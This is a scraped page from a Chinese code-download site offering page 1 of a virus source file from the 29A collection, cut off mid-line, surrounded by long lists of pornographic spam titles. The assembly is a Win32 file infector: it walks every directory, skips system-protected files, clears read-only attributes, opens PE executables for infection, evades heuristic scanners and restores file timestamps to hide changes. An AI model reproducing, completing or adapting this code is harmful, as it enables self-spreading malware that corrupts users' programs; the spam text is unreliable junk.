亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.003

?? 從29A上收集的病毒源碼
?? 003
?? 第 1 頁 / 共 5 頁
字號:
ip_freent       label   near
        call    dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
        jmp     ip_restore
find_ip         endp

;-----------------------------------------------------------------------------
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
;asm port and size optimise by rgb in 2002
;-----------------------------------------------------------------------------

randinit        proc    near                    ;eax = seed, ecx = 0, edi -> unaligned RNG cache
        pushad
        or      edi, 3
        inc     edi                             ;dword align
        push    edi
        or      eax, 1
        mov     cx, statelen

init_loop       label   near
        stos    dword ptr [edi]
        mov     edx, 69069
        mul     edx                             ;Knuth: x_new = x_old * 69069
        loop    init_loop
        inc     ecx                             ;force reload
        call    initdelta

initdelta       label   near
        pop     edi
        add     edi, offset randvars - offset initdelta
        xchg    ecx, eax
        stos    dword ptr [edi]
        pop     eax
        stos    dword ptr [edi]
        stos    dword ptr [edi]
        popad
        ret
randinit        endp

random          proc    near
        pushad
        call    randelta

randvars        label   near
        db      'rgb!'                          ;numbers left
        db      'rgb!'                          ;next pointer
        db      'rgb!'                          ;state pointer

randelta        label   near
        pop     esi
        push    esi
        lods    dword ptr [esi]
        xchg    ecx, eax
        lods    dword ptr [esi]
        xchg    esi, eax
        loop    random_ret
        mov     cx, statelen - period
        mov     esi, dword ptr [eax]
        lea     ebx, dword ptr [esi + (period * 4)]
        mov     edi, esi
        push    esi
        lods    dword ptr [esi]
        xchg    edx, eax
        call    twist
        pop     ebx
        mov     cx, period - 1
        push    ecx
        push    ebx
        call    twist
        pop     esi
        push    esi
        inc     ecx
        call    twist
        xchg    edx, eax
        pop     esi
        pop     ecx
        inc     ecx

random_ret      label   near
        lods    dword ptr [esi]
        mov     edx, eax
        shr     eax, tshiftU
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftS
        and     eax, tmaskB
        xor     eax, edx
        mov     edx, eax
        shl     eax, tshiftT
        and     eax, tmaskC
        xor     eax, edx
        mov     edx, eax
        shr     eax, tshiftL
        xor     eax, edx
        pop     edi
        mov     dword ptr [esp + 1ch], eax      ;eax in pushad
        xchg    ecx, eax
        stos    dword ptr [edi]
        xchg    esi, eax
        stos    dword ptr [edi]
        popad
        ret
random          endp

twist           proc    near
        lods    dword ptr [esi]
        push    eax
        add     eax, eax                        ;remove highest bit
        add     edx, edx                        ;test highest bit
        rcr     eax, 2                          ;merge bits and test lowest bit
        jnb     twist_skip                      ;remove branch but larger using:
        xor     eax, matrixA                    ;sbb edx, edx+and edx, matrixA+xor eax, edx

twist_skip      label   near
        xor     eax, dword ptr [ebx]
        add     ebx, 4
        stos    dword ptr [edi]
        pop     edx
        loop    twist
        ret
twist           endp

;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------

find_files      proc    near
        pushad
        push    size findlist
        push    GMEM_ZEROINIT
        call    cGlobalAlloc
        test    eax, eax
        je      file_exit
        xchg    esi, eax
        call    get_krnapis

file_first      label   near
        push    '*'                             ;ANSI-compatible Unicode findmask
        mov     eax, esp
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        push    eax
        call    dword ptr [ebp + krncrcstk.kFindFirstFileW]
        pop     ecx
        mov     dword ptr [esi + findlist.findhand], eax
        inc     eax
        je      file_prev

        ;you must always step forward from where you stand

test_dirfile    label   near
        mov     eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        je      test_file
        cmp     byte ptr [edi], '.'             ;ignore . and .. (but also .* directories under NT/2000/XP)
        je      file_next

;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------

        push    edi
        call    dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
        xchg    ecx, eax
        jecxz   file_next
        push    size findlist
        push    GMEM_FIXED
        call    cGlobalAlloc
        xchg    ecx, eax
        jecxz   step_updir
        xchg    esi, ecx
        mov     dword ptr [esi + findlist.findprev], ecx
        jmp     file_first

file_exit       label   near
        popad
        ret

file_next       label   near
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        mov     edi, dword ptr [esi + findlist.findhand]
        push    edi
        call    dword ptr [ebp + krncrcstk.kFindNextFileW]
        test    eax, eax
        jne     test_dirfile

;-----------------------------------------------------------------------------
;close find, and free list node
;-----------------------------------------------------------------------------

        push    edi
        mov     al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2
        call    store_krnapi

file_prev       label   near
        push    esi
        mov     esi, dword ptr [esi + findlist.findprev]
        call    cGlobalFree
        test    esi, esi
        je      file_exit

step_updir      label   near

;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------

        push    '..'
        push    esp
        call    cSetCurrentDirectoryA
        pop     eax
        jmp     file_next

test_file       label   near

;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------

        push    eax                             ;save original file attributes for close
        mov     eax, ebp
        enter   MAX_PATH * 2, 0
        mov     ecx, esp
        push    eax
        push    esp
        push    ecx
        push    MAX_PATH
        push    edi
        call    dword ptr [eax + krncrcstk.kGetFullPathNameW]
        xchg    edi, eax
        pop     eax
        xor     ebx, ebx
        call    cGetVersion
        test    eax, eax
        jns     store_sfcapi
        mov     ecx, esp
        xchg    ebp, eax
        enter   MAX_PATH * 2, 0
        xchg    ebp, eax
        mov     eax, esp
        push    MAX_PATH
        push    eax
        inc     edi
        push    edi
        push    ecx
        push    ebx                             ;use default translation
        push    ebx                             ;CP_ANSI
        push    (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi

store_sfcapi    label   near

;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------

        mov     ecx, '!bgr'                     ;SfcIsFileProtected
        xor     eax, eax                        ;fake success in case of no SFC
        jecxz   leave_sfc
        push    esp
        push    ebx
        call    ecx

leave_sfc       label   near
        leave
        test    eax, eax
        jne     restore_attr
        call    set_fileattr
        push    ebx
        push    ebx                             ;attribute ignored for existing files
        push    OPEN_EXISTING
        push    ebx
        push    ebx
        push    GENERIC_READ or GENERIC_WRITE
        push    edi
        call    dword ptr [ebp + krncrcstk.kCreateFileW]
        xchg    ebx, eax
        call    test_infect
        db      81h                             ;mask CALL
        call    infect_file                     ;Super Nashwan power ;)
        lea     eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
        push    eax
        sub     eax, 8
        push    eax
        sub     eax, 8
        push    eax
        push    ebx
        push    (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        push    ebx
        call    cCloseHandle

restore_attr    label   near
        pop     ebx                             ;restore original file attributes
        call    set_fileattr
        jmp     file_next
find_files      endp

;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------

is_pehdr        proc    near                    ;edi -> map view
        cmp     word ptr [edi], 'ZM'            ;Windows does not check 'MZ'
        jne     pehdr_ret
        mov     esi, dword ptr [edi + mzhdr.mzlfanew]
        add     esi, edi
        lods    dword ptr [esi]                 ;SEH protects against bad lfanew value
        add     eax, -'EP'                      ;anti-heuristic test filetype ;) and clear EAX

pehdr_ret       label   near
        ret                                     ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr        endp

;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------

set_fileattr    proc    near                    ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
        push    ebx
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        push    edi
        call    dword ptr [ebp + krncrcstk.kSetFileAttributesW]
        ret                                     ;edi -> filename
        db      "12/12/02"
set_fileattr    endp

;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------

test_infect     proc    near                    ;esi = find data, edi = map view, ebp -> platform APIs
        call    map_view
        mov     ebp, esi
        call    is_pehdr
        jne     inftest_ret
        lods    dword ptr [esi]
        cmp     ax, IMAGE_FILE_MACHINE_I386
        jne     inftest_ret                     ;onl

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美一级午夜免费电影| 日本特黄久久久高潮| 亚洲韩国一区二区三区| 狠狠色丁香久久婷婷综| 在线国产电影不卡| 国产欧美精品一区二区三区四区 | 成人动漫一区二区在线| 制服丝袜中文字幕一区| 亚洲男人都懂的| 成人精品一区二区三区四区| 日韩亚洲欧美一区| 亚洲香肠在线观看| 99精品视频在线播放观看| 日韩精品中午字幕| 婷婷丁香激情综合| 91麻豆福利精品推荐| 欧美国产综合色视频| 国产一区二区三区最好精华液| 欧美伊人久久久久久久久影院| 国产精品久久久久久亚洲毛片| 国产在线精品一区二区不卡了 | 日本精品视频一区二区三区| 国产精品久久毛片a| 国产激情视频一区二区三区欧美| 日韩欧美第一区| 美洲天堂一区二卡三卡四卡视频| 欧美日韩国产成人在线免费| 亚洲国产欧美在线| 欧美三级中文字幕在线观看| 亚洲一区二区综合| 91黄视频在线观看| 一区二区三区在线免费播放| 色综合久久中文字幕综合网| 亚洲精品福利视频网站| 色哟哟在线观看一区二区三区| 亚洲欧美日韩在线| 欧美性猛交xxxxxxxx| 亚洲国产精品自拍| 91精品久久久久久久99蜜桃| 偷拍亚洲欧洲综合| 日韩久久精品一区| 国产一区二区三区av电影 | 日韩一区二区视频| 久久国产欧美日韩精品| 久久久久99精品国产片| 成人精品鲁一区一区二区| 亚洲免费视频成人| 91久久精品国产91性色tv| 亚洲一区二区五区| 欧美一级二级在线观看| 国产在线播精品第三| 国产精品美女一区二区三区| 99精品在线免费| 亚洲国产精品久久久久婷婷884 | 欧美在线观看视频一区二区三区| 亚洲一区在线电影| 精品国精品国产| 成人午夜在线免费| 亚洲午夜日本在线观看| 欧美成人激情免费网| av电影在线观看一区| 亚洲大型综合色站| 久久久久久综合| 91视频你懂的| 久久国产夜色精品鲁鲁99| 国产精品久久综合| 6080午夜不卡| 成人国产精品免费网站| 午夜私人影院久久久久| 国产亚洲欧美日韩日本| 在线观看视频一区二区欧美日韩| 日韩成人一级片| 亚洲日本在线a| 欧美成人精品高清在线播放 | 7799精品视频| 大桥未久av一区二区三区中文| 亚洲伊人色欲综合网| 久久精品亚洲一区二区三区浴池 | 久久精品男人的天堂| 在线观看免费亚洲| 国产乱码精品1区2区3区| 亚洲第一搞黄网站| 国产欧美精品一区| 欧美一区二区三区免费视频| 99视频精品在线| 国产一区二区三区蝌蚪| 日本亚洲视频在线| 亚洲乱码中文字幕| 欧美极品aⅴ影院| 日韩女优视频免费观看| 欧美日韩国产影片| 成人国产精品免费| 国产剧情av麻豆香蕉精品| 精品一区二区成人精品| 亚洲欧美日韩小说| 国产精品嫩草影院com| 久久久青草青青国产亚洲免观| 欧美日韩mp4| 欧美午夜精品一区二区蜜桃 | 日韩欧美国产1| 精品视频一区二区三区免费| 国产成人99久久亚洲综合精品| 日韩国产欧美在线观看| 亚洲午夜电影在线| 亚洲图片欧美激情| 亚洲国产高清aⅴ视频| 亚洲精品一区二区三区蜜桃下载| 正在播放亚洲一区| 欧美日韩精品三区| 欧美日韩另类一区| 欧美日韩电影在线播放| 色综合久久中文字幕综合网| 91视频xxxx| 91久久一区二区| 欧美午夜宅男影院| 欧美精三区欧美精三区| 4hu四虎永久在线影院成人| 欧美在线免费视屏| 在线亚洲人成电影网站色www| 99精品在线观看视频| 欧美性感一类影片在线播放| 欧美日韩视频专区在线播放| 欧美在线你懂得| 欧美精品国产精品| 欧美α欧美αv大片| 久久久久国产精品人| 亚洲欧洲av色图| 亚洲一本大道在线| 美女网站在线免费欧美精品| 久久se这里有精品| 久久超碰97人人做人人爱| 国产一区视频在线看| 懂色中文一区二区在线播放| 91在线小视频| 欧美区在线观看| 26uuu欧美日本| 成人免费在线视频观看| 五月婷婷欧美视频| 国产精品一色哟哟哟| 99精品视频在线播放观看| 欧美色综合天天久久综合精品| 欧美日韩免费不卡视频一区二区三区| 777欧美精品| 欧美激情一区二区三区四区| 亚洲综合色婷婷| 精品一区二区三区免费毛片爱| 国产成人午夜精品5599 | 日韩一区二区三区视频在线| 久久无码av三级| 亚洲精品免费视频| 欧美aaa在线| av一区二区三区四区| 51午夜精品国产| 欧美国产丝袜视频| 日韩国产精品久久久久久亚洲| 国产伦精品一区二区三区免费迷 | 欧美一区二区精品在线| 欧美国产一区在线| 性久久久久久久久| 成人晚上爱看视频| 精品久久人人做人人爰| 亚洲精品国产视频| 国产福利一区二区三区在线视频| 欧美亚洲动漫另类| 国产欧美一区二区精品性色| 日韩精品一区第一页| av在线播放不卡| 久久久久久免费网| 日本麻豆一区二区三区视频| 色哟哟一区二区三区| 久久久久88色偷偷免费| 免费欧美高清视频| 欧美性生活久久| 中文字幕在线播放不卡一区| 精品一区二区三区免费| 欧美日韩小视频| 日韩久久一区二区| 国产成+人+日韩+欧美+亚洲| 日韩一级大片在线观看| 亚洲午夜精品在线| 97超碰欧美中文字幕| 国产日韩精品一区二区浪潮av| 美女网站色91| 欧美一区二区在线免费观看| 一区二区在线看| 99久免费精品视频在线观看| 国产亲近乱来精品视频| 精品在线观看视频| 欧美成va人片在线观看| 日本 国产 欧美色综合| 欧美精品777| 午夜精品久久久久| 欧美日韩免费电影| 天天免费综合色| 欧美日韩国产免费| 亚洲成人av资源| 欧美三级资源在线| 日韩专区在线视频| 欧美一区二区网站| 蜜桃视频免费观看一区|